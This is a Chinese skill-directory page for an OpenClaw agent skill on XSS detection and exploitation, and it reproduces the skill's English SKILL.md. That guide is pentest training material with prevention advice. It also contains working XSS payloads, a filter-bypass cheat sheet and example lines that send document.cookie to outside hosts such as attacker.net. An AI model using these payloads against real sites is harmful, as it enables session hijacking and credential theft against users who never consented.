Token导航 LogoToken导航

Agent Skill · 研究检索

bookforge-xss-detection-and-exploitation(bookforge xss 检测和利用)

bookforge-xss-detection-and-exploitation 用于查找、检索和筛选相关信息,适合在 OpenClaw 中需要根据关键词、任务场景或来源线索快速定位候选结果时使用。可结合来源仓库、安装命令和原始 README 继续核验具体用法。安装前建议确认权限范围、维护状态,以及是否会触发联网、命令执行或文件读写。

bookforge-xss-detection-and-exploitation 是研究检索类 Agent Skill,可用宿主为 OpenClaw,通过ClawHub获取,权限为接触敏感数据;许可证为 MIT-0,第三方扫描有提醒项,按安装量在研究检索类的 73,675 个 Skill 里排第 11,743。

总安装 10,960周安装 357GitHub Stars 公开资料未说明下载 5,120核验 2026-05-01

安装说明

本站只整理中文说明,不托管安装包,也不代用户安装。
GitHub
许可证
MIT-0
版本
1.0.0

安装方式

通过对话安装

复制提示词发给支持本地命令或 Skills 的 AI 助手,先确认命令和权限,再让它执行。

请帮我安装这个 Agent Skill:bookforge-xss-detection-and-exploitation(bookforge xss 检测和利用)
来源仓库:https://github.com/quochungto/bookforge-xss-detection-and-exploitation
安装命令:
openclaw skills install bookforge-xss-detection-and-exploitation
安装前请先检查当前环境是否支持对应 CLI,并向我确认将要执行的命令、安装目录、联网范围和文件读写权限;确认后再执行。

命令行安装

复制命令到本机终端执行。该命令会通过 OpenClaw 从第三方来源获取 Skill;本站只展示命令,不托管安装包,也不自动执行。

ClawHubOpenClaw
openclaw skills install bookforge-xss-detection-and-exploitation

这个 Skill 是做什么的

研究检索类 Skill 主要解决「找资料、核对事实、把来源整理清楚」的问题,通常会让助手先检索再总结。

检测并修复反射型、存储型和 DOM 型跨站脚本漏洞。适用于全面扫描 Web 应用中所有类型的 XSS 攻击面。可辅助编写利用脚本、分析注入点及验证防护措施有效性。使用前应确认目标系统授权范围,防止越权探测行为。

bookforge-xss-detection-and-exploitation 属于研究检索类 Skill,可作为该场景下的辅助能力补充。建议查阅源码了解支持的 payload 类型与修复建议细节。

上手步骤

4 步
  1. 1

    确认自己的宿主工具

    公开资料标注支持 OpenClaw;先确认自己用的是其中之一,再按对应工具的 Skills 目录放置。

  2. 2

    拿到安装命令

    可以直接复制的命令是 openclaw skills install bookforge-xss-detection-and-exploitation;命令里的占位符换成自己的路径或密钥再执行。

  3. 3

    安装后重启宿主

    命令执行完要完全退出宿主工具再打开,让新装的 Skill 被重新扫描到,否则列表里可能看不到。

  4. 4

    按最小权限试用

    它需要接触敏感数据,先在测试目录或测试账号里跑,确认没问题再放到正式项目。

常见问题

6 条

bookforge-xss-detection-and-exploitation 怎么安装?

在终端执行 openclaw skills install bookforge-xss-detection-and-exploitation。装完完全退出宿主工具再打开,让它重新扫描本地 Skill。

bookforge-xss-detection-and-exploitation 支持哪些 AI 工具?

公开资料标注支持 OpenClaw。其他工具只要能读取本地 Skill 目录,一般也能手动放进去,但要自己确认触发方式是否一致。

bookforge-xss-detection-and-exploitation 需要什么权限?

权限级别是接触敏感数据。该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

bookforge-xss-detection-and-exploitation 是免费的吗?

来源标注的许可证是 MIT-0。本站不代收任何费用,也不托管安装包;能否商用、要不要署名,以许可证原文为准。

bookforge-xss-detection-and-exploitation 用的人多吗?

公开数据是累计安装 10,960 次,近一周安装 357 次,下载 5,120 次。这些数字来自第三方目录统计,只能当作热度参考,不代表质量或安全性。

bookforge-xss-detection-and-exploitation 安全吗?

第三方扫描有提醒项,说明存在需要人工确认的行为。安装前请打开源码看清它读了什么、联网到哪里。

值得选的地方和要先想清楚的地方

值得选的地方

  • 专注 OpenClaw 一种宿主,触发方式和使用习惯不用来回切换。
  • 许可证明确为 MIT-0,商用和分发边界好判断。

先想清楚的地方

  • 需要接触敏感数据,装到常用环境前要先评估影响面。
  • 第三方扫描存在提醒项或未通过项,需要人工逐条确认。
  • 第三方目录整理,版本更新和行为细节以来源仓库为准。

适不适合你

更适合

  • 已经在用 OpenClaw,想直接扩展它能力的人。
  • 需要处理研究检索类任务、又不想每次都手写提示词的人。

不太适合

  • 环境里有大量密钥、凭证,不方便给第三方 Skill 读取的人。
  • 需要厂商级技术支持和 SLA 的生产系统。

研究检索类 Skill 对比

6 个同类
Skill总安装GitHub 星权限许可证扫描
find-skills

寻找技能 · Codex、Claude

31,199,81316,486操作浏览器MIT有提醒
self-improving-agent

自我改进 Agent · OpenClaw

16,464,0023,396接触敏感数据MIT-0通过
soultrace

灵魂追踪 · Codex、Claude

7,588,94412需要联网未明确有提醒
self-improving

自我完善 · OpenClaw

6,829,2841,046需要联网MIT-0通过
microsoft-foundry

微软代工厂 · Codex、Claude

6,614,144764调用外部服务未明确有提醒
bookforge-xss-detection-and-exploitation

bookforge xss 检测和利用 · 本页

10,960—接触敏感数据MIT-0有提醒

按安装量取同分类前几名;数字来自第三方目录统计,只作热度参考,不代表质量结论。

SKILL.md 原文

name
xss-detection-and-exploitation
description
>

Cross-Site Scripting Detection and Exploitation

When to Use

Use this skill when you are conducting authorized penetration testing or application security assessment and need to:

  • Systematically find XSS vulnerabilities across all entry points of a web application
  • Distinguish between reflected, stored, and DOM-based XSS and apply the correct detection method for each
  • Construct payloads matched to the HTML context where input lands
  • Bypass signature-based input filters, sanitization routines, and length limits
  • Demonstrate real impact through session hijacking or other proof-of-concept exploits
  • Provide developers with precise remediation guidance

This skill is framed for defensive and educational purposes. All techniques are to be performed only against systems you own or have explicit written authorization to test.


XSS Taxonomy: Three Varieties

Understanding the mechanical difference between XSS varieties matters because the detection method, severity, and exploitation path differ for each.

Reflected XSS (First-Order XSS)

Mechanism: The application copies user-supplied input directly into an HTTP response. The attacker's payload is delivered and executed in a single round trip — the same request that carries the payload also returns the executing page.

Why it matters: Approximately 75% of real-world XSS. Exploiting it requires inducing a victim to visit a crafted URL. Severity is high but scope of passive victims is lower than stored XSS.

Attack flow:

  1. Attacker constructs a URL containing embedded JavaScript (e.g., ?message=<script>var i=new Image;i.src="//attacker.net/"+document.cookie</script>)
  2. Victim is induced to visit that URL (phishing, email link, banner ad, IMG tag on a third-party site)
  3. Application reflects the parameter into the response without sanitization
  4. Victim's browser executes the script in the application's origin — the same-origin policy grants the script access to the application's cookies
  5. Cookie is transmitted to attacker's collection server; attacker replays it to hijack the session

Key insight: The attacker exploits the XSS vulnerability — not just any arbitrary script host — because the browser's same-origin policy restricts document.cookie access to scripts served from the issuing domain. The malicious script must appear to come from the target application.

Stored XSS (Second-Order XSS, Persistent XSS)

Mechanism: User-supplied data is stored in the application (database, log file, profile field, message body) and later rendered to other users without sanitization.

Why it is more severe than reflected XSS:

  • No victim interaction required beyond normal site use; the victim simply browses to a page that already contains the payload
  • When the stored location is within an authenticated area, every victim is by definition logged in at the moment the payload executes
  • A single stored payload scales to every user who views that page — including administrators
  • Real-world example: The MySpace Samy worm (2005) exploited a stored XSS flaw in user profile pages. The script added Samy as a friend and copied itself to the victim's profile, propagating to nearly one million profiles within hours before MySpace was forced to take the application offline.

Attack flow:

  1. Attacker submits crafted data (e.g., a profile name, forum post, feedback message, uploaded filename, HTTP Referer header, User-Agent) containing a script payload
  2. Application stores it without sanitization
  3. Victim browses to any page that renders that data
  4. Script executes in the victim's browser in the application's origin

DOM-Based XSS

Mechanism: Client-side JavaScript reads attacker-controlled data from the DOM (typically from document.location, document.URL, or document.referrer) and passes it to a dangerous sink (document.write, innerHTML, eval) without sanitization. The server's response never contains the payload — the attack lives entirely in the browser.

Why detection differs: Server-response scanning cannot find DOM-based XSS. The payload may appear only in the URL fragment (#), which browsers never send to the server, making server-side filters irrelevant.

Sources (attacker-controlled DOM inputs):

  • document.location
  • document.URL
  • document.URLUnencoded
  • document.referrer
  • window.location

Sinks (dangerous DOM write operations):

  • document.write() / document.writeln()
  • element.innerHTML
  • eval()
  • window.execScript()
  • window.setInterval() / window.setTimeout()

Attack Payloads: What XSS Can Do

Understanding the impact spectrum helps scope findings accurately and communicate severity to stakeholders.

Payload ClassImpact
Session hijackingSteal session token via document.cookie; replay to impersonate victim
Virtual defacementInject HTML to display false content under the application's domain — far more credible than a phishing clone
Trojan login formInject a fake login form that submits credentials to attacker's server; real application URL shown, valid TLS certificate present
KeyloggingLog keystrokes in real time via injected JavaScript
Autocomplete harvestingInstantiate a form, let the browser autofill saved credentials, then read and exfiltrate field values
Cross-site request actionsForce the victim's browser to perform authenticated actions (bid on auction, change password, add admin account)
Self-propagating wormStored XSS that copies itself to every victim's profile (Samy worm pattern)
Privilege escalation via chainingCombine low-risk stored XSS (only visible to self) with a broken access control flaw (edit other users' display names) to achieve full application compromise

Real-world precedent — Apache Foundation 2010: A reflected XSS in the issue-tracking application was used to steal an administrator's session cookie. The attacker gained admin access, modified upload paths, uploaded a Trojan login page, and captured privileged credentials — ultimately compromising infrastructure beyond the web application itself.


Process: Finding and Exploiting Reflected XSS

Step 1 — Identify reflections of user input

Why: You cannot exploit a vulnerability you have not located. Systematic coverage of all entry points prevents missed findings.

Procedure:

  1. Choose a unique alphabetical test string that does not appear in the application naturally (e.g., myxsstestdmqlwp). Alphabetical characters are unlikely to be filtered.
  2. Submit the string as the value of every parameter on every page, one parameter at a time. Include:

- URL query string parameters - POST body parameters - HTTP headers that the application processes: Referer, User-Agent, X-Forwarded-For, Cookie values

  1. Monitor every response for the string's appearance. Each occurrence is a candidate for further investigation.
  2. For POST-triggered reflections, use your proxy (e.g., Burp Suite "Change request method") to test whether the same behavior is triggered by GET — this affects delivery mechanism options.

Step 2 — Determine the syntactic context of each reflection

Why: The payload that works depends entirely on where in the HTML the reflection lands. The wrong payload for the context will fail silently.

ContextWhat you see in sourcePayload approach
Between HTML tags<p>YOURVALUE</p>Inject new tags: <script>alert(1)</script> or event-handler tags
Inside a tag attribute value (quoted)<input value="YOURVALUE">Break out of quotes: "><script>alert(1)</script> or inject event handler: " onfocus="alert(1)
Inside a JavaScript stringvar a = 'YOURVALUE';Break the string: '; alert(1); var foo=' — use // to neutralize trailing syntax if needed
Inside a URL attribute<a href="YOURVALUE">Use javascript:alert(1) pseudo-protocol or inject event handler

Step 3 — Test whether the reflection is exploitable

  1. Review the HTML source (not browser-rendered view) to see exactly where your string lands
  2. Craft a payload matched to that context
  3. Submit the payload; if it appears in the response unmodified, confirm execution by triggering alert(document.cookie) in a browser
  4. If the payload is blocked or sanitized, proceed to filter bypass (Step 4)

Step 4 — Bypass input filters

Three categories of filter behavior, with distinct bypass strategies:

Category A — Signature-based blocking (WAF or application-level) The application returns an error or different response when your payload is submitted.

  • Isolate which characters/expressions trigger blocking by bisecting your payload
  • Switch to an alternative script-introduction method:

- Event handlers instead of <script> tags: <img onerror=alert(1) src=a> - Script pseudo-protocols: <iframe src=javascript:alert(1)> - HTML5-specific vectors: <input autofocus onfocus=alert(1)>, <video src=1 onerror=alert(1)> - Obfuscate tag names with case variation: <iMg onerror=alert(1) src=a> - Insert NULL bytes inside tag names: <i%00mg onerror=alert(1) src=a> - Use arbitrary tag names with event handlers: <x onclick=alert(1) src=a>Click</x> - Encode attribute values: <img onerror=a&#x6c;ert(1) src=a> - Use backtick as attribute delimiter (Internet Explorer): ` <img onerror=alert(1) src=a> - Use VBScript (Internet Explorer only) to bypass JavaScript-specific filters: <img onerror="vbs:MsgBox 1" src=a> - Use character set encoding (Shift-JIS, UTF-7, UTF-16) if you can influence the Content-Type header or charset` parameter

Category B — Sanitization (encoding or stripping) Your payload is returned but modified (e.g., < becomes &lt;).

  • Determine which characters are being sanitized
  • If injecting into an existing JavaScript string, you may not need angle brackets; break out with quote-termination techniques
  • If <script> is stripped but not recursively: <scr<script>ipt>alert(1)</script>
  • If backslash-escaping of quotes: inject \ before the escape so the escape character is itself escaped (foo\'; alert(1);//)
  • If in an event handler attribute, HTML-encode quotes: foo&apos;; alert(1);// — the browser HTML-decodes attribute values before executing JavaScript
  • Use Unicode escapes for JavaScript keywords: <script>a\lert(1)</script>
  • Use dynamic string construction: <script>eval('al'+'ert(1)')</script> or String.fromCharCode(97,108,101,114,116,40,49,41)
  • Replace dots: alert(document['cookie']) or with(document)alert(cookie)

Category C — Length truncation Your payload is cut to a maximum character count.

  • Shorten the payload: open("//a/"+document.cookie) (28 bytes for cookie exfiltration)
  • Span the payload across multiple reflected parameters using JavaScript comment delimiters (/* */) so intervening content is treated as a comment
  • Convert the reflected XSS into a DOM-based XSS: inject <script>eval(location.hash.slice(1))</script> into the truncated parameter; place your full payload in the URL fragment (#alert('long payload here')) — the fragment is not sent to the server and bypasses length enforcement

Process: Finding and Exploiting Stored XSS

Stored XSS requires broader thinking because the submission point and the rendering point are decoupled — often separated by time, user role, and application area.

Six-step methodology

Step 1 — Cover all input locations. Submit a unique test string (different per field — concatenate field name + unique string to disambiguate later) to every input that the application might store and later render to another user:

  • Personal information fields (name, address, email, bio, company)
  • Post/comment/message/feedback/question content
  • Uploaded file names and file contents
  • HTTP headers that get logged and displayed: Referer, User-Agent
  • Search terms that appear in "popular searches" lists

Step 2 — Review all output locations, including admin interfaces. After submitting test strings, exhaustively browse all application pages and functions to find where the strings appear. A name field may render in the home page, user directory listing, activity log, messages sidebar, and admin user management console simultaneously — each is a separate candidate.

Why admin interfaces matter: Log review functionality is a classic stored XSS vector. Administrators browse log entries; an attacker who can inject into any field that ends up in a log (including HTTP headers) reaches a high-privilege user automatically.

Step 3 — Complete multistage workflows. Many stored operations require completing a multi-step process: registration, checkout, funds transfer, order placement. Submitting a test string only to page 1 of a 3-page flow may prevent the data from ever being stored. Always follow each workflow to completion.

Step 4 — Test out-of-band channels. For stored XSS, out-of-band input paths are valid attack surfaces. Email-based stored XSS (webmail applications rendering HTML email) is a particularly common and high-impact variant:

  • Send HTML email with XSS payloads to accounts on the application
  • Test with raw MIME messages (using sendmail or similar) to control Content-Type and charset, bypassing sanitization applied by standard email clients

Step 5 — Test file upload functionality. File upload is a frequently overlooked stored XSS vector:

  • Upload an HTML file with an embedded proof-of-concept script
  • If rejected, try alternate extensions (.txt, .jpg) — some applications accept content regardless of extension if another delivery path renders it
  • Test for hybrid file attacks (e.g., GIFAR — a file that is simultaneously a valid GIF and a JAR, exploiting Java applet same-origin trust)
  • Check whether files loaded via Ajax into innerHTML are rendered as HTML regardless of declared Content-Type

Step 6 — Think creatively about indirect storage paths. Popular search term lists, "users who viewed this" aggregations, activity feeds — any mechanism that aggregates and displays user-controlled data to other users is a potential stored XSS surface.


Process: Finding and Exploiting DOM-Based XSS

DOM-based XSS cannot be detected by submitting a test string and scanning the HTTP response. The payload never appears in server traffic.

Detection method

Manual source-to-sink analysis:

  1. Review all client-side JavaScript in the application — both in static HTML pages and dynamically generated pages
  2. Search for every use of URL-sourcing APIs (the sources listed above: document.location, etc.)
  3. Trace the data flow from each source to identify whether it reaches a dangerous sink (document.write, innerHTML, eval, etc.) without sanitization
  4. For each source-to-sink path, craft a URL that injects JavaScript through that path

Why manual analysis is more reliable than black-box probing: A standard test string (e.g., *"><script>alert(1)</script>) only triggers execution if it happens to produce syntactically valid JavaScript at the exact insertion point. DOM-based XSS often requires terminating a specific string delimiter or closing a specific construct — which you can only determine by reading the source.

Browser-assisted testing:

  • Manually walk through the application in a browser, modifying URL parameters to contain test strings: ';alert(1)//`
  • Any dialog box containing cookies confirms a DOM XSS (or reflected XSS) execution
  • Use browser developer tools to inspect the live DOM and identify where your input is landing

Evading server-side filters for DOM XSS:

  • Place the payload in the URL fragment (#): http://app.com/page#<script>alert(1)</script> — browsers do not send the fragment to the server, so server-side filters never see it
  • Append an invented parameter after the vulnerable parameter: client-side scripts often extract everything after param= to the end of the URL, including invented parameters the server ignores

Prevention Guidance (for developers and defensive reviewers)

Why these controls matter — and why they must be applied correctly:

Output encoding (primary control): HTML-encode all user-supplied data at the point of insertion into an HTML response. The encoding must match the syntactic context:

  • HTML body: encode <, >, &, ", '
  • HTML attribute values: encode the same characters; always quote attribute values
  • JavaScript string context: JavaScript-encode (Unicode-escape) the data — HTML encoding is insufficient because the browser HTML-decodes attribute values before executing event handlers
  • URL context: URL-encode the data; then HTML-encode the resulting URL for placement in an href attribute

Content Security Policy: Deploy a Content-Security-Policy response header restricting which script sources the browser will execute. A well-configured policy (e.g., script-src 'self') provides defense-in-depth — it mitigates the impact of XSS vulnerabilities that slip through output encoding, because injected inline scripts and external script loads from untrusted domains are blocked.

HttpOnly cookies: Set the HttpOnly attribute on session cookies. This prevents JavaScript from reading cookie values via document.cookie, directly neutralizing the most common XSS exploitation goal (session hijacking). Note: it does not prevent all XSS attacks — payloads that induce user actions (Trojan forms, cross-site request forgery) remain effective.

Do not rely on input validation or blacklist filters as a primary control. The filter bypass techniques documented above demonstrate that blacklists are inherently incomplete. An attacker has a larger creative surface (every browser quirk, every encoding scheme, every alternative syntax) than a filter writer can anticipate.


Examples

Example 1: Reflected XSS in an Error Page (Attribute Context)

Scenario: A penetration test of a retail web application. The error page at /error returns a message URL parameter verbatim inside an HTML attribute.

Trigger: While mapping the application, submitting test string myxsstest001 to the message parameter — source shows: <input type="hidden" name="debug" value="myxsstest001">. The reflection is inside a quoted attribute value.

Process:

  1. Confirm context: reflection is inside value="..." of an <input> tag
  2. Initial payload to break out: "><script>alert(document.cookie)</script> — verify it appears unmodified in the response
  3. Application blocks <script>: test alternate approach — inject an event handler without closing the tag: " autofocus onfocus="alert(document.cookie)
  4. This payload does not require closing the tag or injecting angle brackets; it passes the filter
  5. Confirm execution in browser; escalate to session hijacking payload: " autofocus onfocus="var i=new Image;i.src='//assessor-server.example.com/log?c='+document.cookie

Output: Reflected XSS confirmed in message parameter, attribute context, exploitable via event handler injection. Filter bypass achieved by avoiding angle brackets. Session token exfiltration demonstrated.


Example 2: Stored XSS via HTTP Referer Header in Admin Log Viewer

Scenario: A security assessment of a content management system. The admin interface displays an access log rendered in-browser. The application stores HTTP Referer header values in the log without sanitization.

Trigger: During stored XSS coverage, submitting test string reftest-REFERER as the Referer header to key pages — when reviewing the admin log interface, reftest-REFERER appears in a table cell. This is a stored XSS candidate in a high-privilege context.

Process:

  1. Identify the log display page URL by authenticating as admin
  2. Craft a request to any application page with Referer: <script>alert(document.cookie)</script>
  3. Check admin log view — script executes
  4. Application sanitizes <script>: switch to <img src=x onerror=alert(document.cookie)>
  5. Confirm execution; escalate to session harvesting payload targeting admin
  6. Document the attack chain: low-privilege action (ordinary web request) → stored in log → executes when admin views log → full admin session compromise

Output: Stored XSS via Referer header confirmed. Payload executes in administrator's browser context without any admin action beyond routine log review. Critical severity.


Example 3: DOM-Based XSS via Fragment Identifier

Scenario: A financial application uses client-side JavaScript to display personalized messages. The page script does var msg = location.hash.substring(1); document.write(msg);. The server never sees the fragment.

Trigger: Code review of the page's JavaScript during DOM XSS source analysis — document.location (source) flows directly to document.write (sink) without sanitization.

Process:

  1. No server-response test will find this; it requires source review
  2. Craft test URL: https://app.example.com/welcome#<img onerror=alert(document.cookie) src=a>
  3. Browser renders the page; client-side script extracts fragment and writes it to DOM; onerror fires; cookie dialog appears
  4. Server-side filter testing: the fragment is never sent to the server, so server-side WAF/filters are irrelevant
  5. Escalate payload to session exfiltration; document the source-to-sink path in the report

Output: DOM-based XSS confirmed. document.location.hash flows unsanitized to document.write. No server-side control can prevent this — client-side output encoding at the document.write call is the required fix.


Quick Reference: Filter Bypass Cheat Sheet

# Avoid <script> tags entirely
<img onerror=alert(1) src=a>
<svg onload=alert(1)>
<input autofocus onfocus=alert(1)>
<video src=1 onerror=alert(1)>
<body onload=alert(1)>

# Case variation to evade simple pattern matching
<iMg OnErRoR=alert(1) src=a>

# NULL byte insertion (Internet Explorer; also bypasses many WAFs)
<i%00mg onerror=alert(1) src=a>

# Attribute delimiter alternatives (Internet Explorer accepts backtick)
<img onerror=`alert(1)` src=a>

# No whitespace between tag name and attributes
<img/onerror=alert(1) src=a>

# HTML encoding in attribute values (browser decodes before executing)
<img onerror=&#x61;lert(1) src=a>

# JavaScript unicode escape in keywords
<script>a\lert(1)</script>

# String construction to avoid keyword detection
<script>eval(String.fromCharCode(97,108,101,114,116,40,49,41))</script>

# Avoid dots for property access
alert(document['cookie'])
with(document)alert(cookie)

# Recursive stripping bypass
<scr<script>ipt>alert(1)</scr</script>ipt>

# Fragment-based payload to bypass server-side filters (DOM XSS delivery)
https://app.example.com/page?param=<script>eval(location.hash.slice(1))</script>#alert(document.cookie)

References

  • Stuttard, D. & Pinto, M. — *The Web Application Hacker's Handbook*, 2nd ed., Chapter 12 (pp. 431–534), Wiley, 2011
  • OWASP — Cross Site Scripting Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/Cross_Site_Scripting_Prevention_Cheat_Sheet.html
  • OWASP — DOM Based XSS Prevention Cheat Sheet: https://cheatsheetseries.owasp.org/cheatsheets/DOM_based_XSS_Prevention_Cheat_Sheet.html
  • CWE-79: Improper Neutralization of Input During Web Page Generation: https://cwe.mitre.org/data/definitions/79.html
  • Apache Foundation incident (2010): https://blogs.apache.org/infra/entry/apache_org_04_09_2010
  • MySpace Samy worm (2005): https://namb.la/popular/tech.html

License

This skill is licensed under CC-BY-SA-4.0. Source: BookForge — Web Application Hackers Handbook by Unknown.

Related BookForge Skills

This skill is standalone. Browse more BookForge skills: bookforge-skills

平台分布

OpenClaw

87.67%
按下载量换算4,489

安全审计

VirusTotal

可疑

ClawScan

通过

Static analysis

通过

权限和风险

接触敏感数据

该 Skill 可能接触密钥、Token、环境变量或敏感配置,应进入高风险复核队列,默认不自动发布。

安装前确认

本站仅展示第三方公开信息,不托管安装包,不提供自动安装或运行环境。安装前应自行审查源码、依赖和命令行为。来源安全扫描存在提醒或未通过项,安装前请自行复核。目前只有一个公开来源,建议同时核对源仓库。

继续浏览同类 Skills